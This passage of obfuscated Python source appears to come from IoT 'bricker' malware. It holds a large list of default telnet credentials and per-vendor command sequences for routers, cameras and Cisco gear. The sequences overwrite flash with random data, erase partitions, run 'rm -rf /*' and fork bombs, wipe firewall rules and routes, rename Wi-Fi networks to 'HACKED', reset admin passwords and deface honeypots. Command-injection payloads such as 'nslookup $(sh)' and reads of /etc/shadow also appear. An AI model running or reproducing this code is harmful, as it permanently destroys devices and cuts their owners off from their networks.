'kyivstar/kyivstar' ,
'anonymous/anonymous' ,
'guest/vizxv' ,
'webftp/webftp123' ,
'root/t' ,
'gitlab/gitlab' ,
'root/Passw0rd' ,
'support/default' ,
'1234/1' ,
'3500/24' ,
'root/enable' ,
'password/enable' ,
'USER/x' ,
'netgear/D-Link' ,
'www-data/123456' ,
'admin/999' ,
'hector/hector' ,
'admin/login' ,
'root/88' ,
'openerp/openerp' ,
'cpanel/0fc0f17d6087680e' ,
'/1' ,
'root/4444444' ,
'thomas/thomas123' ,
'/hewlpack' ,
'admin/iyeh' ,
'admin/66666' ,
'admin/3333' ,
'user/live' ,
'maria/maria' ,
'admin/juklop' ,
'root/cat' ,
'root/6y5t4r3e2w1q' ,
'admin/passw0rd' ,
'ftpuser/ftppass' ,
'WEBADM/password' ,
'root/222222' ,
'root/PWLA-root' ,
'admin/airocon' ,
'admin/gfhjkm' ,
'cmsftp/cmsftp' ,
'cisco/admin' ,
'/XCA2Y12U71' ,
'mike/mike123' ,
'root/uClinux' ,
'root/seiko2005' ,
'/netadmin' ,
'bill/bill' ,
'root/d' ,
'admin/55' ,
'root/v' ,
'root/LZEDADM' ,
'root/welc0me' ,
'root/sh' ,
'ashish/ashish' ,
'root/555555555' ,
'root/raspberry' ,
'admin/33' ,
'netgear/12345' ,
'joe/joe' ,
'root/syste' ,
'admin/comcast' ,
'sysadmin/superuser' ,
'walter/walter' ,
'guest/abc123' ,
'test/12345' ,
'root/operator' ,
'cisco/123456' ,
'test/test1234' ,
'admin/VTech' ,
'admin/enable' ,
'web/web123' ,
'/ascend' ,
'root/12190091' ,
'admin/a' ,
'lms/lms' ,
'sandeep/sandeep123' ,
'admin/7777' ,
'super/zxcvbnm,.' ,
'cubrid/cubrid' ,
'portal/portal' ,
'user/user123' ,
'ftptest/ftptest' ,
'support/cat' ,
'user/default' ,
'root/4444' ,
'user/test' ,
'admin/adminadmin' ,
'root/t1789' ,
'test/tester' ,
'www-data/www-data' ,
'root/rasplex' ,
'root/<>' ,
'admin/ubnt' ,
'admin/6666666666' ,
'1234/enable' ,
'netbrain/$ilv3r*2017' ,
'default/enable' ,
'verwalter/verwalter' ,
'login/1234' ,
'admin/e2b81d_1' ,
'vivek/vivek' ,
'admin/Kendalf9' ,
'root/999999' ,
'root/6666666' ,
'admin/mts' ,
'jim/jim123' ,
'jenkins/jenkins123' ,
'netgear/telnet' ,
'test/123123' ,
'admin/qweasdOP' ,
'mts/mts' ,
'login/support' ,
'admin/radmin' ,
'teste/teste' ,
'cisco/comcast' ,
'root/team2' ,
'debug/debug' ,
'moodle/moodle123' ,
'root/G' ,
'xbmc/xbmc' ,
'deployer/deployer' ,
'rptic/raspberry' ,
'500/500' ,
'koha/koha123' ,
'admin/inet' ,
'jose/jose' ,
'admin/online' ,
'TKD/o0mb6mff' ,
'root/0000000' ,
'netman/n' ,
'php5/a82f8443132f0fda' ,
'root/xbmc' ,
'support/test' ,
'cloud/cloud' ,
'root/openelec' ,
'admin/590152' ,
'odoo/odoo' ,
'login/login' ,
'admin/11' ,
'sybase/sybase' ,
'biz/biz123' ,
'guest/manager' ,
'root/r' ,
'root/Admin123' ,
'ingres/ingres' ,
'ubnt/1234' ,
'admin1/enable' ,
'admin/nimda' ,
'jboss/jboss' ,
'proftpd/proftpd' ,
'finance/finance' ,
'666666/enable' ,
'lucas/lucas' ,
'library/library' ,
'root/dup' ,
'support/support123' ,
'ncuser/ncuser' ,
'root/server' ,
'guest/cisco' ,
'train/train' ,
'admin/dPZb4GJTu9' ,
'admin/66' ,
'admin/Ferum' ,
'root/pfsense' ,
'jack/jack' ,
'cisco/login' ,
'root/waldo' ,
'manager/-!.!\'%2' ,
'/3ascotel' ,
'deployer/deploy' ,
'admin/666' ,
'test/1234' ,
'admin/sh' ,
'toto/toto' ,
'mysql/123456' ,
'newadmin/newadmin' ,
'ftp/123456' ,
'screen/screen' ,
'cisco/toor' ,
'root/444444' ,
'temp/temp' ,
'root/tl789' ,
'root/111' ,
'Administrator/enable' ,
'openfiler/password' ,
'root/1q2w3e4r' ,
'git/git123' ,
'cpanel/cae0dd132d2d89f5' ,
'mobile/alpine' ,
'root/anni2013' ,
'support/1qaz2wsx' ,
'admin/manager' ,
'admin/44' ,
'admin/enable36291' ,
'ftpuser/123456' ,
'mgts/mtsoao' ,
'userftp/userftp' ,
'user/dreambox' ,
'user/enable' ,
'host/dnnhost' ,
'admin/qazxsw' ,
'TKD/5un2na0o' ,
'admin/rombik1' ,
'openvpn/openvpn' ,
'guest/1234' ,
'git/test1234' ,
'admin/adn8pzszk' ,
'default/4U' ,
'superuser/asante' ,
'icinga/icinga' ,
'sshd/sshd' ,
'enable/show' ,
]
if 90 - 90: IIiIIiIii1I
if 9 - 9: O0oo0OOOOO00 % Oooo - oOoO0Ooo % O0oo0OOOOO00
O0O = "SPLTX"
if 81 - 81: Ii11i1iIi / Ii11i1iIi * Oo0 / o0oooooO / IIiIii1iI
iII11I = [ 'TELCO' , 'inet' , 'zyxel' , 'ZYX' , 'zyx' , 'huawei' , 'LZE' , 'lze' , 'qualcomm' , 'dlink' , 'broadcom' , 'router' , 'DLink' , 'main' , 'wan' , 'global' , 'cpa' , 'customer' , 'linux' , 'default' , 'cisco' ]
o00 = [ '%s' % ( random . randint ( 100 , 999 ) ) , '%s' % ( random . randint ( 10 , 99 ) ) , '%s' % ( random . choice ( '%#!@_=;' ) ) , '%s' % ( random . choice ( 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' ) ) ]
o00OooOO0oooo = [ 'admin' , 'ADMIN' , 'support' , 'mgmt' , 'manager' , 'adm' , 'ADM' , 'root' , 'account' , 'cs' , 'corporate' , 'business' , 'fiber' , 'adsl' , 'vdsl' , 'wifi' , 'administrator' , 'Administrator' , 'default' , 'factory' ]
OoO0 = 'root/' + random . choice ( iII11I ) + random . choice ( o00 ) + random . choice ( o00OooOO0oooo )
if 91 - 91: oOOoO00oo0 / Ii11i1iIi
oOoOOoooo0 = "w\nuname -a\nls -alF /etc/\ncat /etc/passwd\ncat /etc/shadow\ncat /proc/version\n" ;
if 55 - 55: OOOoOooO / oOOo0000o + oOoO0Ooo
ooO0o = [
[ "broadcom" , ".*" , "(telnetd.*error.*processInput.*unrec.*|BCM96|ls -alF /etc/: not found)" ,
'lan config --ipaddr primary 10.1.2.3 255.255.255.248' , '' ,
'wlan config --ssid "HACKED: DEFAULT PASSWORD"' , '' ,
'wlan config --enable 0' , '' ,
'wlan config --ssid primary "HACKED: DEFAULT PASSWORD"' , '' ,
'wlan config --status primary disable' , '' ,
'save' , '' ,
'tr69cfg --inform disable' , '' ,
'tr69cfg --connreq disable' , '' ,
'tr69cfg --password HACKED' , '' ,
'tr69cfg --intf HACKED' , '' ,
'tr69cfg --info' , '' ,
'tr69c ConnReqPort 31351' , '' ,
'save' , '' ,
'tftp -p -t f -f `cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/root;route del default` 127.0.0.1' , '' ,
'tftp -p -t c -f `cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/root;route del default` 127.0.0.1' , '' ,
'nslookup $(sh)' , '' ,
'cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/root;route del default' , '' ,
'kill `sh`' , '' ,
'cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/root;route del default' , '' ,
'tftp -p -f test ;flash_erase /dev/mtdblock0 0 999999 0;flash_erase /dev/mtdblock1 0 999999 0;flash_erase /dev/mtdblock2 0 999999 0;flash_erase /dev/mtdblock3 0 999999 0' , '' ,
'tftp -p -f test ;cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/root' , '' ,
'tftp -p -f test ;route del default' , '' ,
'ifconfig $(sh)' , '' ,
'cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/root;route del default' , '' ,
'cat | sh' , '' ,
'sh' , '[#>]' ,
'flash_erase /dev/mtdblock0 0 999999 0' , '[$>#]' ,
'flash_erase /dev/mtdblock1 0 999999 0' , '[$>#]' ,
'flash_erase /dev/mtdblock2 0 999999 0' , '[$>#]' ,
'flash_erase /dev/mtdblock3 0 999999 0' , '[$>#]' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'route del default;iptables -F;iptables -A INPUT -j DROP' , '%WAIT%' ,
'poweroff -n -f' , '[#>]' ,
'poweroff' , '[#>]' ,
'd(){ d|d & };d 2>/dev/null' , '' ,
'ping ;busybox cat /dev/urandom >/dev/root;route del default;iptables -F;iptables -A INPUT -j DROP' , '' ,
'traceroute ;busybox cat /dev/urandom >/dev/root;route del default;iptables -F;iptables -A INPUT -j DROP' , '' ,
'loaddefaultconfig' , '[#>]' ,
'adsl connection --loopback' , '' ,
'xdslctl connection --loopback' , '' ,
'ppp config ppp0 down' , '' ,
'ppp config ppp0.1 down' , '' ,
'ppp config ppp0.2 down' , '' ,
'ppp config ppp1 down' , '' ,
'ppp config ppp1.1 down' , '' ,
'ppp config ppp2.1 down' , '' ,
'ppp config ppp3.3 down' , '' ,
'ppp config pppo3G0 down' , '' ,
'save' , '' ,
'defaultgateway config ppp0' , '' ,
'defaultgateway config ppp1.1' , '' ,
'defaultgateway config ppp2.1' , '' ,
'save' , '' ,
'dhcpserver config 192.168.99.1 192.168.99.1 1' , '' ,
'lan config --ipaddr secondary 10.1.2.4 255.255.255.255' , '' ,
'save' , '' ,
'wan delete service ppp0' , '[#>]' ,
'wan delete service ppp0.1' , '[#>]' ,
'wan delete service ppp1.1' , '[#>]' ,
'wan delete service pppoa1' , '[#>]' ,
'wan delete service pppoa0' , '[#>]' ,
'wan delete service ppp0.2' , '[#>]' ,
'wan delete service ppp1.2' , '[#>]' ,
'wan delete service ppp2.1' , '[#>]' ,
'wan delete service eth4.1' , '[#>]' ,
'wan delete service eth4.2' , '[#>]' ,
'wan delete service ipoe_eth0_4' , '[#>]' ,
'wan delete service ipoe_eth0_3' , '[#>]' ,
'wan delete service ipoe_eth0_2' , '[#>]' ,
'wan delete service ipoe_eth0_1' , '[#>]' ,
'restoredefault' , '' ,
'exit' , '' ,
'loaddefaultconfig' , '[#>]' ,
'adsl connection --loopback' , '' ,
'xdslctl connection --loopback' , '' ,
'ppp config ppp0 down' , '' ,
'ppp config ppp0.1 down' , '' ,
'ppp config ppp0.2 down' , '' ,
'ppp config ppp1 down' , '' ,
'ppp config ppp1.1 down' , '' ,
'ppp config ppp2.1 down' , '' ,
'ppp config ppp3.3 down' , '' ,
'ppp config pppo3G0 down' , '' ,
'save' , '' ,
'defaultgateway config ppp0' , '' ,
'defaultgateway config ppp1.1' , '' ,
'defaultgateway config ppp2.1' , '' ,
'save' , '' ,
'wan delete service ppp0' , '[#>]' ,
'wan delete service ppp0.1' , '[#>]' ,
'wan delete service ppp1.1' , '[#>]' ,
'wan delete service pppoa1' , '[#>]' ,
'wan delete service pppoa0' , '[#>]' ,
'wan delete service ppp0.2' , '[#>]' ,
'wan delete service ppp1.2' , '[#>]' ,
'wan delete service ppp2.1' , '[#>]' ,
'wan delete service eth4.1' , '[#>]' ,
'wan delete service eth4.2' , '[#>]' ,
'wan delete service ipoe_eth0_4' , '[#>]' ,
'wan delete service ipoe_eth0_3' , '[#>]' ,
'wan delete service ipoe_eth0_2' , '[#>]' ,
'wan delete service ipoe_eth0_1' , '[#>]' ,
'restoredefault' , '' ,
'reboot' , ''
] ,
[ "broadcom" , ".*" , 'support:\S+:0:0:Technical Support:.:.bin.sh' ,
'lan config --ipaddr primary 10.1.2.3 255.255.255.255' , '' ,
'lan config --ipaddr secondary 10.1.2.4 255.255.255.255' , '' ,
'wlan config --ssid "HACKED: DEFAULT PASSWORD"' , '' ,
'wlan config --enable 0' , '' ,
'wlan config --ssid primary "HACKED: DEFAULT PASSWORD"' , '' ,
'wlan config --status primary disable' , '' ,
'save' , '' ,
'tr69cfg --inform disable' , '' ,
'tr69cfg --connreq disable' , '' ,
'tr69cfg --password HACKED' , '' ,
'tr69cfg --intf HACKED' , '' ,
'tr69cfg --info' , '' ,
'tr69c ConnReqPort 31351' , '' ,
'save' , '' ,
'sh' , '[$>#] ' ,
'flash_erase /dev/mtdblock0 0 999999 0' , '[$>#] ' ,
'flash_erase /dev/mtdblock1 0 999999 0' , '[$>#] ' ,
'flash_erase /dev/mtdblock2 0 999999 0' , '[$>#] ' ,
'flash_erase /dev/mtdblock3 0 999999 0' , '[$>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'route del default;iptables -t nat -F;iptables -F;iptables -A INPUT -j DROP' , '%WAIT%' ,
"restoredefault" , '[$>#] ' ,
'reboot' , '%TERM%'
] ,
[ "broadcom" , ".*" , 'Linux.*\(\S+txcpyjeb\S*\)' ,
'sh' , '[$>#] ' ,
'flash_erase /dev/mtdblock0 0 999999 0' , '[$>#] ' ,
'flash_erase /dev/mtdblock1 0 999999 0' , '[$>#] ' ,
'flash_erase /dev/mtdblock2 0 999999 0' , '[$>#] ' ,
'flash_erase /dev/mtdblock3 0 999999 0' , '[$>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'route del default;iptables -t nat -F;iptables -F;iptables -A INPUT -j DROP' , '%WAIT%' ,
"restoredefault" , '[$>#] ' ,
'reboot' , '%TERM%'
] ,
[ 'broadcom' , '.*' , 'from HyperTerminal you would need to use' ,
'cat /dev/urandom >/dev/mtdblock0 &' , 'to continue' ,
'' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , 'to continue' ,
'' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , 'to continue' ,
'' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , 'to continue' ,
'' , '' ,
'iptables -F;iptables -t nat -F;iptables -A INPUT -j DROP' , 'to continue' ,
'' , '' ,
'12' , '==>' ,
'1' , 'Please wait' ,
] ,
[ 'broadcom' , 'supervisor/zyad1234' , '' ,
'dhcpserver config 192.168.99.1 192.168.99.1 1' , '' ,
'lan config --ipaddr primary 10.1.2.3 255.255.255.255' , '' ,
'lan config --ipaddr secondary 10.1.2.4 255.255.255.255' , '' ,
'wlan config --ssid "HACKED: DEFAULT PASSWORD"' , '' ,
'wlan config --enable 0' , '' ,
'save' , '' ,
'tr69cfg --inform disable' , '' ,
'tr69cfg --connreq disable' , '' ,
'tr69cfg --password HACKED' , '' ,
'tr69cfg --intf HACKED' , '' ,
'tr69cfg --info' , '' ,
'save' , '' ,
'tftp -p -f test ;flash_erase /dev/mtdblock0 0 999999 0;flash_erase /dev/mtdblock1 0 999999 0;flash_erase /dev/mtdblock2 0 999999 0;flash_erase /dev/mtdblock3 0 999999 0' , '' ,
'tftp -p -f test ;cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3' , '' ,
'tftp -p -f test ;route del default' , '' ,
"adsl connection --loopback\nxdslctl connection --loopback\nppp config ppp0 down\nppp config ppp1.1 down\nppp config ppp2.1 down\nppp config ppp3.3 down\nppp config pppo3G0 down\nsave" , '' ,
'defaultgateway config ppp0' , '' ,
'defaultgateway config ppp1.1' , '' ,
'defaultgateway config ppp2.1' , '' ,
'sh' , '[#>]' ,
'flash_erase /dev/mtdblock0 0 999999 0' , '[$>#]' ,
'flash_erase /dev/mtdblock1 0 999999 0' , '[$>#]' ,
'flash_erase /dev/mtdblock2 0 999999 0' , '[$>#]' ,
'flash_erase /dev/mtdblock3 0 999999 0' , '[$>#]' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'route del default;iptables -F;iptables -A INPUT -j DROP' , '' ,
'poweroff -n -f' , '[#>]' ,
'poweroff' , '[#>]' ,
'restoredefault' , '' ,
'exit' , '' ,
'restoredefault' , '%TERM%'
] ,
[ 'xiongctrl' , 'admin/.*' , 'PORT:9527:' ,
'shell\nbusybox cat /dev/urandom >/dev/mtd0 &\nbusybox cat /dev/urandom >/dev/mtd1 &\nbusybox cat /dev/urandom >/dev/mtd2 &\nbusybox cat /dev/urandom >/dev/mtd3 &\nbusybox cat /dev/urandom >/dev/mtd4 &\nbusybox cat /dev/urandom >/dev/mtd5 &\nbusybox cat /dev/urandom >/dev/mtdblock0 &\nbusybox cat /dev/urandom >/dev/mtdblock1 &\nbusybox cat /dev/urandom >/dev/mtdblock2 &\nbusybox cat /dev/urandom >/dev/mtdblock3 &\nbusybox cat /dev/urandom >/dev/mtdblock4 &\nbusybox cat /dev/urandom >/dev/mtdblock5 &\nroute del default' , '[$] ' ,
'netitf -ip\nnetitf -dhcp\nnetitf -dhcp 0\nnetitf -dns 1.2.3.4 1.2.3.5\ncfg -s /mnt/mtd/Config/Json\ncfg -s /mnt/custom/CustomConfig' , '[$] ' ,
'netitf -ip 1.2.3.4 255.255.255.0 1.2.3.5\ncfg -s /mnt/mtd/Config/Json\ncfg -s /mnt/custom/CustomConfig' , '[$] ' ,
'exit' , '[$] ' ,
'netitf -ip\nnetitf -dhcp\nnetitf -dhcp 0\nnetitf -dns 1.2.3.4 1.2.3.5\ncfg -s /mnt/mtd/Config/Json\ncfg -s /mnt/custom/CustomConfig' , '[$] ' ,
'netitf -ip 1.2.3.4 255.255.255.0 1.2.3.5\ncfg -s /mnt/mtd/Config/Json\ncfg -s /mnt/custom/CustomConfig' , '[$] ' ,
';;' , '[$] ' ,
'netitf -ip\nnetitf -dhcp\nnetitf -dhcp 0\nnetitf -dns 1.2.3.4 1.2.3.5\ncfg -s /mnt/mtd/Config/Json\ncfg -s /mnt/custom/CustomConfig' , '[$] ' ,
'netitf -ip 1.2.3.4 255.255.255.0 1.2.3.5\ncfg -s /mnt/mtd/Config/Json\ncfg -s /mnt/custom/CustomConfig' , '[$] ' ,
] ,
[ 'baby' , '.*' , '(www\.netween\.co\.kr|rjhm91lt37eEtYB0Czii1)' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[$>#] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[$>#] ' ,
'cat /dev/urandom >/dev/root &' , '%WAIT%' ,
'cd /web/' , '[$>#] ' ,
'grep "reboot" *' , '[$>#] ' ,
] ,
[ 'vertex' , 'root/vertex25ektks123' , '' ,
'configure terminal' , '[$>#] ' ,
'restore factory-defaults' , '[$>#] ' ,
'exit' , '[$>#] ' ,
'quote sh' , '[$>#] ' ,
'cat /dev/urandom >/dev/root &' , '[$>#] ' ,
'cat /dev/urandom >/dev/ram &' , '[$>#] ' ,
'route del default' , '%WAIT%' ,
'reboot' ,
] ,
[ 'honeypot' , OoO0 , '' ,
'cat /etc/passwd' , '' ,
'cat /etc/shadow' , '' ,
'uname -a' , '' ,
] ,
[ 'honeypot' , '.*' , '(fw-mgmt0|Ubuntu|el\d\.x86_?64|Debian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent|Linux\s\S+S\d\s.*x86_?64|Linux\s.*amd64.*SMP.*Debian.*x86_?64)' ,
'echo SYSTEM HACKED PLEASE REINSTALL >/etc/motd' , '' ,
'echo SYSTEM HACKED PLEASE REINSTALL >/etc/version' , '' ,
'echo SYSTEM-HACKED-PLEASE-REINSTALL >/etc/hostname' , '' ,
'wall \x1b]2;HACKED\x07' , '' ,
] ,
[ "sagemcom" , ".*" , 'HomeGateway.*\s*.*Bad\scommand.*Try\susing\shelp' ,
"conf print /admin/" , "HomeGateway> " ,
"conf set /admin/rmt_mng/ports/2/enabled 0" , "HomeGateway> " ,
"conf set /admin/rmt_mng/ports/1/enabled 0" , "HomeGateway> " ,
"conf set /admin/rmt_mng/ports/0/enabled 0" , "HomeGateway> " ,
"conf set /admin/user/2/password x" , "HomeGateway> " ,
"conf set /admin/user/1/password x" , "HomeGateway> " ,
"conf set /admin/user/0/password x" , "HomeGateway> " ,
"conf reconf 1" , "HomeGateway> " ,
"flash commit" , "HomeGateway> " ,
"system reboot" , '%TERM%' ,
] ,
[ "sagemcom" , ".*" , 'OpenRG>' ,
"conf print /admin/" , "OpenRG> " ,
"conf set /admin/rmt_mng/ports/2/enabled 0" , "OpenRG> " ,
"conf set /admin/rmt_mng/ports/1/enabled 0" , "OpenRG> " ,
"conf set /admin/rmt_mng/ports/0/enabled 0" , "OpenRG> " ,
"conf set /admin/user/2/password x" , "OpenRG> " ,
"conf set /admin/user/1/password x" , "OpenRG> " ,
"conf set /admin/user/0/password x" , "OpenRG> " ,
"conf reconf 1" , "OpenRG> " ,
"flash commit" , "OpenRG> " ,
"system reboot" , '%TERM%' ,
] ,
[ "nomadix" , '.*' , 'Display advanced system configuration menu' ,
'system' , '\S>' ,
'factory' , 'yes/no' ,
'yes' , 'CR' ,
'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n' , 'CR' ,
'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n' , 'CR' ,
'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n' , 'CR' ,
] ,
[ 'sse' , '.*' , 'step into administration terminal' ,
'' , '~ ' ,
'd() { d|d & }; d' , '~ ' ,
] ,
[ 'cisco' , '.*' , 'User Access Verification' ,
'enable' , '\S+[#>]' ,
'erase /all nvram:' , 'confirm' ,
'y' , '\S+[#>]' ,
'erase startup-config' , 'confirm' ,
'y' , '\S+[#>]' ,
'reload' , 'yes/no' ,
'y' , 'confirm' ,
'y' , '' ,
'power rps port 6 mode standby' , '\S+[#>]' ,
'power rps port 5 mode standby' , '\S+[#>]' ,
'power rps port 4 mode standby' , '\S+[#>]' ,
'power rps port 3 mode standby' , '\S+[#>]' ,
'power rps port 2 mode standby' , '\S+[#>]' ,
'power rps port 1 mode standby' , '\S+[#>]' ,
] ,
[ 'kylink' , '.*' , 'Kylink SIP' ,
'8' , 'y/n' ,
'y' , '\):' ,
'9' , 'y/n' ,
'y' , '\):' ,
'1' , '\):' ,
'1' , '\):' ,
'1.2.3.4' , '\):' ,
'3' , '\):' ,
'1.2.3.5' , '\):' ,
'q' , '\):' ,
'9' , 'y/n' ,
'y' , '\):' ,
'b' , 'y/n' ,
'y' , 'seconds' ,
] ,
[ "dahuaold" , "root/vizxv" , '' ,
'busybox cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'busybox cat /dev/urandom >/dev/sda &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock10 &' , '' ,
'busybox cat /dev/urandom >/dev/mmc0 &' , '' ,
'busybox cat /dev/urandom >/dev/sdb &' , '' ,
'busybox cat /dev/urandom >/dev/ram0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock3 &' , '' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtd0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/sda" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtdblock0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'route del default;iproute del default;ip route del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT%' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ "hilinux" , ".*" , 'Welcome to HiLinux' ,
'busybox cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'busybox cat /dev/urandom >/dev/sda &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock10 &' , '' ,
'busybox cat /dev/urandom >/dev/mmc0 &' , '' ,
'busybox cat /dev/urandom >/dev/sdb &' , '' ,
'busybox cat /dev/urandom >/dev/ram0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock3 &' , '' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtd0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/sda" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtdblock0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'route del default;iproute del default;ip route del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT%' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ "zlx" , "root/zlxx\." , "" ,
'busybox cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd1 &' , '' ,
'busybox cat /dev/urandom >/dev/sda &' , '' ,
'busybox cat /dev/urandom >/dev/ram0 &' , '' ,
'flash_unlock /dev/mtd0' , '' ,
'flash_eraseall /dev/mtd0 &' , '' ,
'flash_unlock /dev/mtd1' , '' ,
'flash_eraseall /dev/mtd1 &' , '' ,
'flash_unlock /dev/sda' , '' ,
'flash_eraseall /dev/sda &' , '' ,
'flash_unlock /dev/mtdblock0' , '' ,
'flash_eraseall /dev/mtdblock0 &' , '' ,
"fdisk -C 1 -H 1 -S 1 /dev/sda" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtd0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
